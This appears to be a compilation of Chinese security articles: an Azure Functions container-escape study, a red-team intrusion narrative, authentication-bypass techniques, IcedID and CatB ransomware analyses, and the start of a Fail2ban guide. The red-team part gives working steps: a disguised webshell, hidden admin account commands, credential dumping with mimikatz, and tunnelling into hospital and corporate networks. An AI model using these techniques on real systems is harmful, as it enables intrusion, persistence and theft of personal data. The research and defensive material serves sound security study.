執行逆向shell後，研究人員進入了一個名為app的用戶下的函數目錄。研究人員使用 cat/proc/1/cgroup_last_cap命令，以SandboxHost開頭的設備主機名也暗示了這一點。 無服務器函數內部的shell 在研究人員登錄的工作目錄中沒有太有趣的東西。這個目錄包括他們上傳的所有文件，外加一個額外的lib文件夾，其中包含Python與Azure通信所需的庫。 容器這項研究一開始並沒有明確的目標，只是為了改善Prisma的無服務器保護。然而，在了解了更多關於架構的知識後，研究人員渴望探索一下容器。 在熟悉了容器及其文件以及用戶權限等之後，研究人員決定檢查環境變量，因為它們通常包含一些有趣的信息。這一次沒有什麼不同。在其他有趣的事情中，研究人員注意到環境變量洩露了映像名稱。 環境變量中的映像名稱 在網上搜索這個映像名稱，研究人員找到了一個顯示映像名稱的微軟官方目錄，該目錄指向一個提供所有Microsoft映像(包括我們正在查看的映像)的官方存儲庫。 研究人員的第一個方法是獲取映像“源代碼”（如果你使用Docker，則為Dockerfile）。經過一番搜索，研究人員發現有一個叫做Whaler的實用工具，它可以將Docker映像逆向工程到創建它們的Dockerfile中。該過程如下所示。 使用Whaler對微軟映像進行逆向工程 Whaler有大量的映像，從而產生一個易於使用的單行命令。使用這個方法，研究人員成功地生成了一個足夠好的Dockerfile版本，如下圖所示。文件中最有趣的部分是最後一行。 逆向之後的Dockerfile版本 網格文件夾似乎包含一些有趣的文件，特別是launch.sh腳本，它似乎是容器內執行的第一件事。此時，研究人員只需從映像內部複製整個網格文件夾，以進一步研究它。 還有一些腳本在不同的場景中調用了一些其他腳本，該文件夾中有趣的部分是一個名為init的二進製文件，它在每個Azure無服務器容器的後台運行。對研究人員來說幸運的是，這個二進製文件也包含了符號，所以逆向工程很容易。 在研究了函數和字符串列表之後，有一個函數特別有趣：init_server_pkg_mount_BindMount。在對其進行逆向工程之後，研究人員發現該函數將容器內的一條路徑綁定到另一條路徑，該路徑也位於容器內。此函數也不要求用戶具有特權，但它在root上下文中運行！要將一個文件綁定到任何其他文件，你所需要做的就是在容器中使用正確的參數在正確的端口上執行HTTP查詢。 init_server_pkg_mount_BindMount函數簽名 init_server_pkg_mount_BindMount函數解析來自HTTP請求的sourcePath和targetPath 在這部分調查的過程中，研究人員還發現了許多關於Azure無服務器架構如何在幕後工作的信息。雖然這超出了本文的範圍，但可以在本文中深入探討這一問題。 升級權限簡而言之，雖然在一個沒有特權的用戶的容器中研究，但研究人員能夠將任何一個文件作為根文件綁定到任何其他文件。此時，研究人員的目標是在容器內將特權升級到根權限。可能有幾種方法可以實現這一點，但研究人員選擇用生成的文件替換/etc/shadow文件，然後將用戶更改為root。 使用OpenSSL生成/etc/shadow 為了實現這一點，研究人員執行了以下步驟： 為root用戶生成一個密碼已知的/etc/shadow文件； 將該文件上傳到Function容器的本地目錄； 使用正在運行的init服務和BindMount函數通過查詢http://localhost:6060將本地陰影文件綁定到實際的/etc/shadow文件； 使用su-root命令將用戶更改為root。 不斷升級權限 利用root權限規避容器可以利用新獲得的根訪問來規避容器，通過研究，研究人員選擇了菲利克斯马云惹不起马云威廉姆（Felix Wilhelm）多年前發現的一個舊漏洞。 不過要使用此漏洞也不是一件簡單的事情，要使其正常工作，需要滿足以下幾個要求： 研究人員必須在容器內以root身份運行； 容器需要具有SYS_ADMIN函數； 容器要么沒有AppArmor配置文件，要么允許掛載系統調用； cgroup v1虛擬文件系統必須在容器內以讀寫方式安裝； 研究人員已經在早些時候實現了第一個需求。令人驚訝的是，其餘的需求在我們的容器中也可用。這是令人驚訝的，因為在默認情況下，容器啟動時具有一組受限的函數，並且沒有啟用SYS_ADMIN函數。此外，Docker通常在默認情況下使用AppArmor策略啟動容器，這防止了在容器使用SYS_ADMIN運行時使用mount sycall。通過在/proc/PID/status下的shell狀態文件上運行capsh命令，研究人員確認了所有必要的函數，如下圖所示。 使用capsh和一些sed腳本來打印特權用戶函數 關於此漏洞的詳細解釋已超出了本文範圍，我們建議閱讀'Digging into cgroups Escape' 以更好地理解此技術。簡而言之，研究人員將通過以下步驟描述該漏洞： 查找或創建對cgroup控制器的訪問權限（大多數版本的漏洞利用使用RDMA）； 在該控制器中創建一個新的cgroup； 將該cgroup的notify_on_release設置為1； 將發布代理設置為容器和主機都可以訪問的文件； 在該cgroup中啟動一個快速完成流程，該流程將在終止時觸發發布代理的執行。 研究人員決定通過運行ps aux並將其與容器的ps aux進行比較來演示實現主機執行上下文。在本節開頭的視頻中，你可以看到漏洞的整個利用過程。需要注意的是，託管容器的設備是HyperV虛擬機，而不是物理服務器。 總結不管怎樣，Azure的用戶都可以訪問虛擬機託管的所有資源，因此，這種防禦沒有什麼意義。這是雲提供商緩解措施按預期工作的一個示例。在本文的示例中，他們選擇不依賴容器作為安全邊界，並實現另一種保護，這被證明是一個聰明的舉動。 但是，如果在虛擬機本身中發現另一個漏洞，這個漏洞可能會產生巨大的影響。此外，微軟在過去已經修復了類似的問題，即使他們本身沒有將其稱為漏洞。 虛擬機可能包含對無服務器函數用戶或可能的攻擊者不可見的重要信息或秘密。在與微軟分享該調查結果後，他們考慮了以下防禦措施，以更好地保護客戶： 對綁定裝載API進行額外驗證，以防止裝載過度； 盡可能從二進製文件中刪除符號。

0x00前言 本来开学正忙于实现电竞梦（联盟高校联赛），某一天下午突然有位师傅联系我说可以免面试进组打省护红队，这么好的实战机会怎么能错过呢～（好好玩游戏，不要学我^^） 0x01 一个出局的企业单位内网之旅 打点一 故事的开始是某佬丢了一个系统nday shell给我 ipconfig发现有10段内网，这种网段内网一般都很大 但是这种nday已经被别人扫烂了 目录全是马 发现不对劲，这是什么？！ 哪位不知名黑客昨天传的fscan 但是目标单位还没出局 先打再说 准备cs上线 但是发现不出网 先在哥斯拉传fcsan命令执行扫了一下b段 (应该先noping稍微扫一下c段再拿一台机器留后路在搞，这次做的有问题，不然流量检测设备检测到了，然后关站就直接寄了) 一堆弱口令➕redis Neo-reGeorg使用 使用Neo-reGeorg正向隧道工具把流量代理出来： Neo-reGeorg是常见的http正向隧道工具，是reGeorg的升级版，增加了内容加密、请求头定制、响应码定制等等一些特性 python3 neoreg.py generate -k xxx --file 404.html --httpcode 404 生成一个webshell密码为xxx 比较有意思的是，工具新增的404模版功能，实战copy目标站点的404html，给到工具之后生成的webshell直接访问是404，对文件隐藏有很好的帮助 上传至目标站点 python3 neoreg.py -k xxx -u http://xxxxx.com/404.php -p 端口 本地Proxifier配置代理：SOCKS5://127.0.0.1:1081 刚访问了一个web站点看看通不通 加载了一个title 都准备开始截图写报告了 结果又不动了 我以为是代理的问题 结果发现目标站关了。。。。 (感觉应该是昨天穿fscan的师傅打完内网交报告了然后企业直接关站了） 陷入困境 看着这么多的弱口令却触摸不到 太可惜了 打点二 去找该企业子域和其他资产再找突破口 找到了一个边缘资产的登录框 注册功能接口被换成了弹窗 试了着跑了一下注册功能字典 无果 发现他们登录的url是sys_login.aspx 我们构造一个sys_register sys_reg sys_zc.aspx去试试 果不其然 可是。。。 但是这次翻F12看js文件就不一样了 构造请求成功注册了一个账号 并且发现了一个敏感参数 role修改为1 成功注册一个管理员账户 .net的站管理员权限后台很容易找了个上传点配合图片免杀马就shell了 在爆破接口的时候，可以通过看目标站点的接口命名规则灵活变化精准爆破，注册用户在请求包或者返回包中可以多注意role,Permissions，power这种敏感的参数。 哥斯拉连接 发现这台机器居然是出网的！ 内网一 上传我的免杀马子 用哥斯拉的提权插件美美system上线～ 用frp内网穿透 美滋滋登弱口令截图写报告时，发现这台机器是10.8.xxxx 上台机器是10.9.xxxx 两个网段不通 做了隔离 这个时候我们的主要目标就是寻找双网卡主机 那就先上这台机器用fscan扫下吧 3389添加用户小技巧 因为是该机器是server2016 mimikatz抓不到明文密码，就只能添加用户 3389登录了 net user test 123456 /add #添加用户名为test密码为123456的用户 net localgroup administrators test /add #把test用户提升至管理组 这里有三个小技巧 net不能用时 可以用net1代替效果一样 /add也可以用/ad代替 执行效果一样 使用$添加隐藏用户：net user test$ 123456 /add 传fscan扫了一下 发现这个网段机器偏少 弱口令也没几个 现在的目标是找到双网卡主机！然后进入一堆弱口令的网段里，写报告写死我 先登了这个网段扫到的弱口令机器，发现都是设备 只能继续找其他突破口了 在这台机器翻了一波 发现了一个显眼的sa.txt文件 果不其然，里面放了一些密码，fscan再密码喷洒一波 拿下双网卡主机 弱口令ssh ifconfig 芜湖～ 双网卡主机 frp多层网络代理 用frp搭个多层网络代理隧道 大概就是这样 hacker>vps(服务器端)>第一台内网机(客户端)(服务端)>双网卡内网机(客户端) 然后再用proxifier搭个代理链 我们就可以通10.9网段了，美滋滋的写报告的时候 被通知对方出局了～ 把手里的报告交了，因为慢了昨天传fscan的师傅一步，所以也没得多少分。 0x02 某某医院的内网之旅 打点三 打点很简单 某某医院的小程序 点点点点 在burp插件里找到了惊喜 shiro反序列化 工具梭哈 hw面试常问的shiro反序列化的原理： 序列化过程中所用到的AES加密的key是硬编码在源码中，当用户勾选RememberMe并登录成功，Shiro会将用户的cookie值序列化，AES加密，接着base64编码后存储在cookie的rememberMe字段中，服务端收到登录请求后，会对rememberMe的cookie值进行base64解码，接着进行AES解密，然后反序列化。由于AES加密是对称式加密（key既能加密数据也能解密数据），所以当攻击者知道了AES key后，就能够构造恶意的rememberMe cookie值从而触发反序列化漏洞 通俗的讲就是有了key就能构造恶意的payload服务器接受后会进行反序列化，从而达到了远程命令执行的效果。 又是一个内网～ 100w加公民信息泄漏 在这台主机上找到了这种表格好几个 加起来100w余公民的医疗数据身份证等敏感信息～ 这台机器是2008 用mimikatz读密码 3389登录 内网二 frp穿透进入内网 然后就是翻垃圾桶 翻数据库收集密码～ 收集密码的几种思路（尤其是个人使用的电脑，密码超多） 1.各种浏览器保存的密码，可以使用BrowserGhost.exe等工具 2.如果主机有navicat的话可以读取密码 3.翻回收站，桌面中的txt文档，还有一些配置文件。 后面就是fscan+超级弱口令密码碰洒 就完了 不得不说看着密码碰洒是真滴爽啊^^ 因为fscan默认是不支持扫rdp弱口令的 一般是用fscan扫开放3389的机器，然后导出到超级弱口令等软件进行爆破，但是这样会由于fscan扫描不全漏掉一些机器，笔者建议最好上传nmap编译版或者一些专业扫描工具去探测。 最后也是拿下几十台主机权限，内网沦陷～（可惜没有双网卡） 内网渗透没有域的话，个人觉得就是慢慢磨，收集密码喷洒，再收集再喷 横向（免杀也很重要）～ 0x03文末 感谢各位师傅们能看到这里，第一次正式作为红队打攻防演练，有某佬的带领下还是打的比较轻松的，也是拿到了优秀攻击队伍 转自于原文链接：https://forum.butian.net/share/2528

身份驗證繞過漏洞是現代web應用程序中普遍存在的漏洞，也是隱藏最深很難被發現的漏洞。 為此安全防護人員不斷在開發新的認證方法，保障組織的網絡安全。儘管單點登錄(SSO)等工具通常是對舊的登錄用戶方式的改進，但這些技術仍然可能包含嚴重的漏洞。無論是業務邏輯錯誤還是其他軟件漏洞，都需要專業人員來分析其中的複雜性。 我們將在本文中介紹五種真實的身份驗證繞過技術。 技術1——刷新令牌終端配置錯誤在這種情況下，一旦用戶使用有效憑證登錄到應用程序，它就會創建一個在應用程序其他地方使用的承載身份驗證令牌。該認證令牌在一段時間後過期。就在過期之前，應用程序在終端/refresh/tokenlogin中向後端服務器發送了一個請求，該請求在標頭和HTTP主體部分的用戶名參數中包含有效的身份驗證令牌。 進一步的測試表明，刪除請求上的Authorization標頭並更改HTTP主體上的用戶名參數將為提供的用戶名創建一個新的有效令牌。利用此漏洞，擁有匿名配置文件的攻擊者可以通過提供用戶名為任何用戶生成身份驗證令牌。 技術2 ——SSO配置不正確大多數應用程序都使用SSO系統，因為與處理許多身份驗證門戶相比，SSO系統更容易安全管理。但是簡單地使用SSO並不能自動保護系統，因為SSO的配置也應得到保護。 現在，一個應用程序使用Microsoft SSO系統進行身份驗證。當訪問internal.redacted.com URL時，web瀏覽器會重定向到單點登錄系統： 乍一看，它似乎是安全的，但對後端請求的分析顯示，應用程序在重定向響應上返回了異常大的內容長度(超過40000字節) 為什麼應用程序要這樣做呢？當然是配置錯誤。在將用戶發送到SSO的重定向時，應用程序向每個請求洩露了其內部響應。因此，可以篡改響應，將302 Found頭更改為200 OK，並刪除整個Location標頭，從而獲得對整個應用程序的訪問。 此外，可以通過在Burp Suite中添加Match Replace規則來自動刪除標題並自動更改值，從而實現這個過程的自動化。 技術3——基於CMS的訪問漏洞內容管理系統(CMS)，如WordPress、Drupal和Hubspot也需要進行安全配置，以免它們在使用中中引入漏洞。 在發現的一個示例中，在一個內部應用程序中使用了一個流行的CMS平台Liferay。該應用程序只有一個不需要身份驗證就可以訪問的登錄頁面，所有其他頁面都在應用程序UI中受到限制。 對於那些不熟悉Liferay的人來說，CMS為應用程序工作流使用了portlet，它的參數是數字中的p_p_id。對於該應用程序，可以通過將參數值更改為58來訪問登錄portlet。在正常的登錄頁面中，只有登錄表單是可訪問的。然而，通過直接訪問portlet，可以達到Create Account功能，然後在不需要適當的授權情況下就可以進行自註冊並訪問內部應用程序。 請注意，雖然Liferay以前使用過這個工作流，但它的最新版本使用了portlet名稱而不是數字ID。不過，也可以通過更改名稱來訪問其他portlet。 技術4 ——JWT令牌的使用JWT令牌或JSON web令牌，在新的web應用程序中很流行。但是，雖然它們默認具有安全機制，但後端服務器配置也應該是安全的。 我的一項任務是在他們的內部應用程序中使用SSO身份驗證。當直接訪問時，應用程序將用戶重定向到Microsoft SSO web頁面。到目前為止，一切順利。 然而，一些JS文件不需要身份驗證就可以訪問。測試顯示，該應用程序使用了安全登錄後通過Microsoft SSO系統發送的JWT令牌。在後端機制上，存在一個安全錯誤配置，即不檢查是否為特定的應用程序生成了JWT令牌。相反，它接受任何具有有效簽名的JWT令牌。因此，使用來自微軟網站的JWT令牌示例如下： 在通用值內： 有可能訪問內部終端，洩露公司數據。 技術5——將身份驗證類型更改為Null在此情況中，應用程序通過base64 編碼的XML 請求向HTTP 發布數據上發送所有請求。在登錄機制上，它將用戶名作為參數別名發送，將密碼作為scode發送。 scode 參數內的值已進行哈希處理。分析顯示，它使用了所提供密碼值的md5 值。請求中還有另一個有趣的標誌：scode 有一個屬性，其類型值為2。 我嘗試將該值賦值為1，它將接受明文密碼。成功了！因此，在明文值中使用暴力攻擊中是可能的。沒什麼大不了的，但這標誌著我走對了路。把它賦值給空值怎麼樣？或者其他值，如-1、0或9999999999？大多數都返回了除0之外的錯誤代碼。我用屬性0做了幾次嘗試，但沒有成功，直到我將密碼值作為空值發送出去。 我意識到只需提供用戶名和密碼即可訪問任何帳戶。事實證明，這是一個很大的錯誤。 總結複雜的身份驗證機制可能成為攻擊者使用的最具隱蔽性的攻擊手段，特別是在容易出現業務邏輯漏洞的應用程序上。因為自動掃描器大多無法進入這類漏洞，所以仍然需要手工來找到它們。鑑於現代軟件環境的複雜性，沒有任何一個安全研究人員能夠發現所有可能的漏洞或攻擊載體。

我們分析了IcedID殭屍網絡的最新變化，該活動濫用谷歌點擊付費(PPC)廣告，通過惡意廣告攻擊傳播IcedID。 IcedID 是最早在2017 年被披露的模塊化銀行木馬，也是近年來最流行的惡意軟件家族之一。 IcedID 主要針對金融行業發起攻擊，還會充當其他惡意軟件家族（如Vatet、Egregor、REvil）的Dropper。 在密切跟踪IcedID殭屍網絡的活動後，我們發現它的傳播方法發生了一些重大變化。自2022年12月以來，我們觀察到谷歌點擊付費(PPC)廣告被攻擊者濫用，通過惡意廣告攻擊傳播IcedID。趨勢科技已將檢測到的IcedID變體命名為TrojanSpy.Win64.ICEDID.SMYXCLGZ。 像谷歌廣告這樣的廣告平台，其目的是使企業能夠向目標受眾展示廣告，以提高流量和增加銷售。惡意軟件發布者濫用同樣的功能，使用一種被稱為惡意廣告的技術，其中選擇的關鍵字被劫持，顯示惡意廣告，誘使毫無戒心的搜索引擎用戶下載惡意軟件。 在我們的調查中，攻擊者使用惡意廣告通過合法組織和知名應用程序的克隆網頁傳播IcedID惡意軟件。最近，美國聯邦調查局(FBI)發布了一份關於網絡犯罪分子如何濫用搜索引擎廣告服務來偽裝成合法網站，並通過一些經濟誘惑將用戶引向惡意網站。 本文介紹了IcedID殭屍網絡的最新傳播方法和它使用的新加載程序的技術細節。 技術分析 有機搜索結果是由Google PageRank算法生成的，而谷歌廣告出現在有機搜索結果的上方、旁邊、下方或更突出的位置。當這些廣告被攻擊者通過惡意廣告劫持時，它們可以將用戶引導到惡意網站。 劫持搜索結果的關鍵詞 在調查中，我們發現IcedID傳播者劫持了這些品牌和應用程序用來顯示廣告的關鍵詞： 這些惡意網站看起來就像合法網站一樣。下圖顯示了一個看起來合法的惡意Slack網頁，被IcedID傳播者用來引誘受害者下載惡意軟件。 一個被IcedID傳播者使用的看似合法的惡意Slack網頁 感染鏈 整個感染流程包括傳播初始加載程序，進入設備並最終釋放有效負載。有效負載通常是後門。 IcedID殭屍網絡惡意軟件感染鏈 通過劫持搜索的廣告結果發起攻擊用戶會通過在Google上輸入搜索詞來搜索應用程序，在這個特定的示例中，用戶想要下載AnyDesk應用程序，並在Google搜索欄上輸入搜索詞“AnyDesk”。被劫持的AnyDesk應用程序的廣告會導致惡意網站顯示在有機搜索結果上方。 IcedID攻擊者濫用合法的Keitaro交通方向系統(TDS)來過濾研究員和沙盒流量，隨後受害者被重定向到惡意網站。 一旦用戶選擇了“下載”按鈕，它就會下載用戶系統中ZIP文件中的惡意Microsoft軟件安裝程序（MSI）或Windows安裝程序文件。 IcedID殭屍網絡惡意廣告感染鏈 新的IcedID殭屍網絡加載程序在這個攻擊活動中，加載程序通過MSI文件被釋放，這並不是IcedID的常規操作。 安裝程序會釋放幾個文件，並通過rundll32.exe調用“init”導出函數，然後執行惡意加載程序例程。 這個“加載程序”DLL具有以下特徵: 開發者使用了一個合法的DLL，並在最後一個序數處使用“init”導出函數名將一個合法函數替換為惡意加載程序函數； IcedID加載程序中每個合法導出函數的第一個字符都替換為字母“h”； 對惡意函數的引用是一個經過修復的合法函數； 生成的惡意文件幾乎與合法版本完全相同。這對機器學習(ML)檢測解決方案來說是一個挑戰。 從表面上看，惡意的IcedID和合法的sqlite3.dll文件幾乎完全相同。下圖顯示了使用由安全研究員Karsten Hahn開發的PortEx Analyzer工具對這些文件進行的並排比較。該工具允許我們快速地可視化可移植可執行(PE)文件的結構。 惡意IcedID(左)和合法PE(右)文件的可視化表示(使用Karsten Hahn的PortEx Analyzer工具) 因此，我們假設這是針對兩種類型的惡意軟件檢測技術的攻擊： 機器學習檢測引擎； 白名單系統； 充當IcedID加載程序的篡改DLL文件我們已經觀察到，一些被修改為充當IcedID加載程序的文件是眾所周知且廣泛使用的庫。 已被修改為IcedID加載程序的文件如下所示： 在sqlite3.dll中，我們觀察到在序號270處的函數“sqlite3_win32_write_debug”已被IcedID加載程序中的惡意“init”函數替換。 上面列出的修改後的DLL文件就是這種情況，最後一個序號的導出函數被惡意的“init”函數替換。 IcedID修改（左）和正常（右）文件的比較，其中前者在最後一個序號的導出函數被惡意的“init”函數替換 進一步調查表明，該文件的結構是相同的。 IcedID修改文件和普通文件的比較，其中兩個文件顯示相同的結構 執行“MsiExec.exe”執行（父進程）(MITRE ID T1218.007 - System Binary Proxy Execution: msiexec)； 生成“rundll32.exe” (MITRE ID T1218.011 - System Binary Proxy Execution: rundll32.exe)； “rundll32.exe”通過“zzzzInvokeManagedCustomActionOutOfProc”(MITRE ID T1218.011 - System Binary Proxy Execution: rundll32.exe)運行自定義操作“Z3z1Z”； 自定義操作生成第二個“rundll32.exe”以運行帶有“init”導出函數(MITRE IDs T1027.009 - Embedded Payloads and T1218.011 - System Binary Proxy Execution: rundll32.exe)的IcedID加載程序“MSI3480c3c1.msi”。 IcedID加載程序執行鏈 MSI自定義操作 包含自定義操作的MSI結構 總結IcedID是一個值得注意的惡意軟件家族，能夠傳播其他有效負載，包括Cobalt Strike和其他惡意軟件。 IcedID使攻擊者能夠執行具有高度影響力的後續攻擊，從而導致整個系統被破壞，例如竊取數據和使用勒索攻擊癱瘓整個系統。惡意廣告和規避加載程序的使用都在提醒我們部署分層安全解決方案的重要性，包括自定義沙箱、預測性機器學習、行為監控以及文件和網絡聲譽檢測功能。終端用戶還可以考慮使用廣告攔截器來阻止惡意攻擊。

最新發現的勒索軟件CatB，該軟件通過處理器內核檢查，物理內存大小檢查和硬盤大小來檢查自己是否是在虛擬機中，然後執行MSDTC 服務的DLL劫持繞過殺毒軟件。 我們最近發現了一個新型勒索軟件，它執行MSDTC服務DLL劫持以靜默執行其有效負載。我們根據勒索軟件組使用的聯繫電子郵件將此勒索軟件命名為CatB。該樣本於2022年11月23日首次上傳至VT，並被VT社區標記為Pandora勒索軟件的可能變體。 Pandora組織首次出現於2022年2月中旬，主要以企業網絡為目標進行針對性攻擊，主要通過釣魚郵件、漏洞利用、RDP爆破等方式進行傳播，採用Raas雙重勒索的策略，在對用戶系統進行加密導致工作無法正常運作的情況下，利用竊取的數據脅迫用戶支付贖金，否則就外洩。該組織使用Tor站點或者Email郵箱方式與受害者聯繫。 Pandora 勒索軟件最重要的功能就是應用了先進的反逆向技術，雖然在惡意軟件中反逆向技術很常見，但Pandora的這一功能頗為突出。與潘多拉勒索軟件的聯繫僅限發出的勒索信。 CatB勒索軟件實現了幾種反虛擬機技術，以驗證在真實設備上的執行情況，然後釋放惡意DLL和劫持DLL以逃避檢測。 CatB勒索軟件包含兩個文件，包含UPX的dropper(version.dll)和勒索軟件有效負載(oci.dll)。 dropper處理反vm檢查，釋放勒索軟件負載並執行它。 反虛擬機（Anti-VM）CatBdropper實現了三種反虛擬機/沙盒規避技術： 處理器內核檢查：現如今的真實計算機都至少有兩個處理器，所以如果勒索軟件只檢測到一個CPU內核，這將是一個很強的信號，表明它當前駐留在沙盒中。勒索軟件通過GetSystemInfo API函數檢索系統信息並檢查處理器數量。如果少於兩個處理器，則退出立即中斷執行。 處理器檢查 總物理內存檢查：與虛擬機不同，現在的虛擬機都至少有2GB RAM，通常在4GB和32GB之間。 CatB勒索軟件通過檢查物理內存大小來檢測虛擬機/沙盒。這是通過使用GlobalMemoryStatusEx API函數檢索有關物理和虛擬內存的信息來完成的。在本文的示例中，如果即將運行的物理內存少於2GB，勒索軟件會退出。 物理內存檢查 硬盤大小：惡意軟件可以檢查設備的硬盤大小，並根據該參數繼續執行。這可以通過使用DeviceIoControl Api函數實現，其中“0x70000”作為dwIoControlCode參數傳遞。 CatB勒索軟件只能在至少有50GB硬盤的設備上執行。 硬盤大小檢查 DLL劫持如果所有反VM檢查都通過，則dropper將繼續執行，並將勒索軟件負載（oci.dll）放入C:\Windows\System32文件夾。接下來，它將查找MSDTC服務（分佈式事務協調器Windows服務，負責協調數據庫（SQL Server）和web服務器之間的事務）並更改其配置。 MSDTC服務 更改的配置包括運行服務的帳戶名稱（從“網絡服務”更改為“本地系統”）和服務啟動選項（如果重新啟動，則從“按需啟動”更改為自動啟動以實現持續性）。 服務配置更改 運行服務的帳戶已更改為授予服務管理員權限，因為網絡服務帳戶使用用戶權限運行。更改啟動類型將授予勒索軟件在每次系統重新啟動時執行的能力。 dropper在更改其配置後啟動服務。此服務啟動時，默認情況下會嘗試從System32文件夾加載幾個DLL。這使它有機會將任意DLL（在本例中為oci.DLL）植入此文件夾中，以執行惡意代碼。 勒索軟件此時惡意oci.dll文件被加載到msdtc.exe進程中，然後加密進程啟動。 CatB枚舉並加密特定的硬編碼磁盤和文件夾： 硬編碼磁盤 CatB避免使用帶有.msi、exe、dll、sys、iso擴展名和NTUSER.DAT的文件。 CatB勒索軟件的一個有趣之處是，勒索通知被添加到每個加密文件的開頭，而不是像大多數勒索軟件那樣作為一個單獨的文件添加到每個文件夾中。它也不改變文件擴展名。這可能會在一開始使用戶感到困惑，他們可能沒有註意到加密，並且文件將看起來已經被攻擊，因為二進制內容被破壞，他們無法打開它。勒索通知本身看起來與Pandora和Crypt贖金通知非常相似，其中一部分甚至是複制/粘貼的。 加密文件 通知中沒有官方的贖金名稱，也沒有tor網站的URL。聯繫勒索軟件運營商的唯一方法是通過電子郵件。 目前像Minerva Armor這樣的勒索軟件保護平台會通過模擬勒索軟件積極試圖避免的環境數據，輕鬆防止CatB勒索軟件。例如，當勒索軟件查詢處理器的數量時，Minerva Armor會讓它相信自己所處的環境只有1個CPU，從而自動退步並終止運行。

如何保護Web 應用程序免受密碼破解（上） 什麼是Fail2ban，它是如何工作的？ Fail2ban是一種用於掃描日誌文件、檢測可疑活動（例如過多失敗的身份驗證嘗試）並阻止潛在惡意IP 地址的工具。 這項免費服務有助於保護Linux 機器免受暴力破解和其他自動攻擊。通常，Fail2ban 用於更新防火牆規則以在指定時間內拒絕IP 地址。 Fail2ban 具有以下優點： 易於設置 免費使用 可以與大量應用程序交互 提供大量配置參數 易於監控當前保護狀態 與各種通知服務集成 儘管Fail2ban 可以幫助您最大程度地減少不正確的身份驗證嘗試次數，並在一定程度上降低密碼破解和未經授權訪問的風險，但這並不是靈丹妙藥。 不利的一面是，Fail2ban 無法解決因服務器身份驗證策略薄弱而出現的問題。即使是最好的Fail2ban 配置也不能替代我們上面討論的密碼保護最佳實踐。此外，Fail2ban 僅適用於Linux，不適用於IPv6。 為了有效地保護您的服務，您還可以應用用於多因素和公共/私人身份驗證機制的工具。 Fail2ban 優缺點 Fail2ban 如何運作？以下是對其機制的簡單解釋： 任何應用程序或服務器總是將日誌保存在特定文件中，包括失敗的身份驗證嘗試的唯一日誌。 Fail2ban 掃描這些文件，搜索與身份驗證失敗相關的日誌。 如果檢測到失敗的身份驗證嘗試，Fail2ban 會保存嘗試時間和負責的IP 地址。 Fail2ban 計算在指定時間段內來自同一IP 的失敗身份驗證嘗試。 如果IP 地址超過允許的嘗試次數，Fail2ban 會創建一個新的防火牆規則來阻止此IP 地址。 結果，可疑的IP 地址將失去訪問服務器的能力。經過一段可配置的時間後，IP 地址可以自動解禁，也可以手動解禁。 例如，您可以配置Fail2ban，如果任何威脅行為者開始密碼破解攻擊，他們的IP 地址將被禁止五個小時。 現在，讓我們探索配置過程本身。 如何配置Fail2ban您可以配置Fail2ban 來讀取不同應用程序的日誌。開箱即用，此工具可以與以下應用程序類型交互： SSH 服務器 HTTP 服務器 網絡郵件和群件服務器 網絡應用 HTTP 代理服務器 FTP服務器 郵件服務器 郵件服務器驗證器 DNS 服務器 來自不同類別的各種服務器應用程序 默認情況下，Fail2ban 啟用使用sshd的通信，這是一個OpenSSH 服務器進程。這意味著在多次SSH 身份驗證嘗試失敗後，負責的IP 地址將被禁止。 為了與任何應用程序交互，Fail2ban 使用Jail，它是一個過濾器和一個或多個操作的組合。此交互允許您在身份驗證嘗試失敗後禁止IP 地址。 默認情況下， Jail配置保存在jail.conf 文件中。如果要更改默認設置，請複製配置文件並將副本命名為jail.local。如果jail.local 文件存在，Fail2ban 將自動使用它而不是默認文件。 我們不建議更改原始配置文件，因為如果出現任何錯誤，返回默認設置將是一個挑戰。此外，一旦安裝了Fail2ban 的新更新，jail.conf 文件也將更新，所有自定義設置都將消失。 以下是Fail2ban 如何確定失敗的身份驗證嘗試： 該工具具有寫入jail.local 配置文件中的服務日誌文件的路徑。 失敗的身份驗證日誌和常規異常會自動添加到Fail2ban 文本過濾器中。 該工具使用文本過濾器掃描日誌文件。 如果您打開配置文件，您會發現一個相當大的Fail2ban 可以與之交互的應用程序列表。這些應用程序的名稱在括號中，如下面的示例代碼所示： #Mailservers [assp] port=smtp,465,submission logpath=/root/path/to/assp/logs/maillog.txt [courier-smtp] port=smtp,465,submission logpath=%(syslog_mail)s backend=%(syslog_backend)s [postfix] #Touseanothermodessetfilterparameter'mode'injail.local: mode=more port=smtp,465,submission logpath=%(postfix_log)s backend=%(postfix_backend)s [postfix-rbl] filter=postfix[mode=rbl] port=smtp,465,submission logpath=%(postfix_log)s backend=%(postfix_backend)s maxretry=1默認情況下，Fail2ban 被配置為僅使用SSH，所有其他通信協議都被禁用。如果需要開啟其他類型的通信，在配置文件中找到需要的類型，添加如下字符串： enabled=true這是一個例子： [nginx-http-auth] enabled=true port=http,https logpath=%(nginx_error_log)s如果需要，您還可以更改與特定應用程序交互的現有參數或添加新參數。以下是常用參數列表： ignoreip指定要被Fail2ban 忽略的IP 地址。默認情況下，此參數設置為忽略當前機器的流量。 bantime 以秒為單位設置禁令持續時間。默認值為600 秒。 findtime定義了監視來自每個IP 地址的失敗身份驗證嘗試的時間段。默認值為600 秒。 maxretry指定在findtime 指定的時間內每個地址的失敗登錄嘗試限制。 usedns確定是否使用反向DNS 進行阻止。如果設置為NO，那麼Fail2ban 將阻止IP 地址而不是主機名。如果設置為YES，該工具將嘗試使用反向DNS 來查找主機名並阻止它。默認值為WARN。它的工作方式與YES 值一樣，但也會記錄警告。系統工程師稍後可以查看所有警告。 協議指定將被阻止的流量類型。默認情況下它是TCP。 port指定要禁止的端口。 logpath顯示日誌文件的路徑。 注意：上面的列表並未描述所有Fail2ban 參數。您可以在配置文件中找到所有這些。 您可以在/etc/fail2ban 文件夾中的文件中的日誌路徑參數中找到默認設置的日誌文件路徑（例如，上面代碼示例中的nginx_error_log ） ： paths-common.conf — 具有默認服務日誌路徑的文件 paths-opensuse.conf、paths-arch.conf、paths-debian.conf — 包含不同Linux 系統特定路徑的文件 如果您打開上面提到的文件，您可以看到類似於這些的日誌文件的路徑： apache_error_log=/var/log/apache2/*error.log apache_access_log=/var/log/apache2/*access.log auditd_log=/var/log/audit/audit.log exim_main_log=/var/log/exim/mainlog nginx_error_log=/var/log/nginx/*error.log nginx_access_log=/var/log/nginx/*access.log如有必要，您可以編輯過濾器以指示應在日誌中搜索哪些文本以確定失敗的身份驗證。每個過濾器都位於/etc/fail2ban/filter.d 文件夾中的單獨文件中。 屏幕截圖1. /etc/fail2ban/filter.d文件夾中的過濾器列表 當您打開任何過濾器文件時，您將看到一個正則表達式，其中包含所需的失敗身份驗證文本，如下例所示： 